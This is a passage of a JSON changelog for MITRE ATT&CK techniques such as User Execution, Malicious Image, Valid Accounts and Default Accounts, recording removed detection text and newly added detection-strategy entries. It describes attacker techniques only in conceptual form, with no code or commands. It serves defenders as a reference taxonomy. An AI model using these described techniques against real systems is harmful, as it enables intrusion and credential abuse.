interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204", + "external_id": "T1204" + }, + { + "source_name": "Krebs Discord Bookmarks 2023", + "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.", + "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/" + }, + { + "source_name": "Reliaquest-execution", + "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.", + "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/" + }, + { + "source_name": "Telephone Attack Delivery", + "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery" + }, + { + "source_name": "Talos Roblox Scam 2023", + "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.", + "url": "https://blog.talosintelligence.com/roblox-scam-overview/" + }, + { + "source_name": "proofpoint-selfpwn", + "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Skulkin, Group-IB", + "Menachem Goldstein", + "Harikrishnan Muthu, Cyble", + "ReliaQuest", + "Ale Houspanossian", + "Fernando Bacchin" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "IaaS", + "Containers" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Start\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Container: Container Creation\", \"Instance: Instance Creation\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"Command: Command Execution\", \"Image: Image Creation\", \"Application Log: Application Log Content\", \"Container: Container Start\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.940000+00:00\", \"old_value\": \"2025-04-15 19:58:49.690000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\"}}}", + "previous_version": "1.8", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [ + "M1033: Limit Software Installation" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Creation)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Start)", + "DS0032: Container (Container Creation)", + "DS0032: Container (Container Start)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0478: User Execution \u2013 multi-surface behavior chain (documents/links \u2192 helper/unpacker \u2192 LOLBIN/child \u2192 egress)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-30 17:20:05.789000+00:00", + "modified": "2025-10-24 17:49:13.999000+00:00", + "name": "Malicious Image", + "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/003", + "external_id": "T1204.003" + }, + { + "source_name": "Summit Route Malicious AMIs", + "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.", + "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/" + }, + { + "source_name": "Aqua Security Cloud Native Threat Report June 2021", + "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", + "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Image: Image Creation\", \"Container: Container Start\", \"Container: Container Creation\", \"Instance: Instance Start\", \"Instance: Instance Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.999000+00:00\", \"old_value\": \"2025-04-25 14:47:40.745000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1031: Network Intrusion Prevention", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0007: Image (Image Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0030: Instance (Instance Creation)", + "DS0030: Instance (Instance Start)", + "DS0032: Container (Container Creation)", + "DS0032: Container (Container Start)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0248: User Execution \u2013 Malicious Image (containers & IaaS) \u2013 pull/run \u2192 start \u2192 anomalous behavior (T1204.003)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:43:31.706000+00:00", + "modified": "2025-10-24 17:49:35.144000+00:00", + "name": "Malicious Link", + "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/001", + "external_id": "T1204.001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.144000+00:00\", \"old_value\": \"2025-04-15 19:59:20.108000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0066: User Execution \u2013 Malicious Link (click \u2192 suspicious egress \u2192 download/write \u2192 follow-on activity)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:00.645000+00:00", + "modified": "2025-10-24 17:49:14.095000+00:00", + "name": "Valid Accounts", + "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078", + "external_id": "T1078" + }, + { + "source_name": "volexity_0day_sophos_FW", + "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", + "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" + }, + { + "source_name": "CISA MFA PrintNightmare", + "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Jon Sternstein, Stern Security", + "Yossi Weizman, Azure Defender Research Team", + "Netskope", + "Mark Wee", + "Praetorian", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.095000+00:00\", \"old_value\": \"2025-04-15 19:58:58.373000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n-\\n-Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.\"}}}", + "previous_version": "2.8", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0560: Detection of Valid Account Abuse Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:36:57.378000+00:00", + "modified": "2025-10-24 17:49:35.682000+00:00", + "name": "Cloud Accounts", + "description": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s to move laterally across the cloud environment.(Citation: SpecterOps Managed Identity 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/004", + "external_id": "T1078.004" + }, + { + "source_name": "AWS Identity Federation", + "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.", + "url": "https://aws.amazon.com/identity/federation/" + }, + { + "source_name": "SpecterOps Managed Identity 2022", + "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.", + "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c" + }, + { + "source_name": "Google Federating GC", + "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.", + "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction" + }, + { + "source_name": "Microsoft Deploying AD Federation", + "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security", + "Arun Seelagan, CISA", + "Eliraz Levi, Hunters Security", + "Alon Klayman, Hunters Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "1.9", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.682000+00:00\", \"old_value\": \"2025-04-15 19:59:20.556000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.\"}}}", + "previous_version": "1.9", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0546: Detection of Abused or Compromised Cloud Accounts for Access and Persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:15:31.974000+00:00", + "modified": "2025-10-24 17:48:51.181000+00:00", + "name": "Default Accounts", + "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account\u2019s credentials (for example, via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023", + "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/" + }, + { + "source_name": "AWS Root User", + "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" + }, + { + "source_name": "Microsoft Local Accounts Feb 2019", + "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts" + }, + { + "source_name": "Metasploit SSH Module", + "description": "undefined. (n.d.). Retrieved April 12, 2019.", + "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh" + }, + { + "source_name": "Threat Matrix for Kubernetes", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/" + }, + { + "source_name": "Pentera vCenter Information Disclosure", + "description": "Yuval Lazar. (2022, March 29). Mitigating VMware vCenter Information Disclosure. Retrieved March 26, 2025.", + "url": "https://pentera.io/blog/information-disclosure-in-vmware-vcenter/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Janantha Marasinghe" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network Devices", + "Office Suite", + "Identity Provider", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.181000+00:00\", \"old_value\": \"2025-04-15 19:58:35.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1027: Password Policies", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0465: Detection of Default Account Abuse Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:21:54.758000+00:00", + "modified": "2025-10-24 17:49:21.034000+00:00", + "name": "Domain Accounts", + "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are 